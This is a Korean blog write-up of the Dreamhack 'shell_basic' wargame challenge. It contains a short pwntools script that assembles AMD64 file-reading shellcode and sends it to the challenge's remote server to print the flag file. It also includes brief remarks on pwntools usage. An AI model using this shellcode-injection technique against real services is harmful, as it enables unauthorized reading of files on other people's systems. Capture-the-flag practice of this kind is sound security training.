Dreamhack 문제 풀이 - shell_basic

쉘코드를 직접 다루어 본적이 없어 많이 헤맸다. 여러 방법을 시도하다가 결국에는 pwntools를 이용했다. 

 

 

pwntools의 AMD64 아키텍처 Shell Code 목록

https://docs.pwntools.com/en/stable/shellcraft/amd64.html

 

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 4.7.0 documentation

Parameters: key (int,str) – XOR key either as a 8-byte integer, If a string, length must be a power of two, and not longer than 8 bytes. Alternately, may be a register. address (int) – Address of the data (e.g. 0xdead0000, ‘esp’) count (int) – Nu

docs.pwntools.com

 

풀이

from pwn import *

context.arch = 'amd64'

filename = '/home/shell_basic/flag_name_is_loooooong'
code = shellcraft.linux.cat(filename)

p = remote("host2.dreamhack.games", 13631)
p.recvuntil('shellcode: ')
p.sendline(asm(code))

data = p.recv(1024)
print(data)

 

sendlineafter를 사용하니 정상 작동하지 않음.

 

그리고 다른 풀이들처럼 ORW를 이용해도 상관 없다. 출제자의 의도는 ORW를 사용하는 것일지 모르겠으나 기본적인 어셈블리 코드를 이해하고 pwntools 사용법만 익힐 수 있다면 뭐든 좋을 듯. 덕분에 pwntools 사용법을 많이 익혔다..

댓글

Designed by JB FACTORY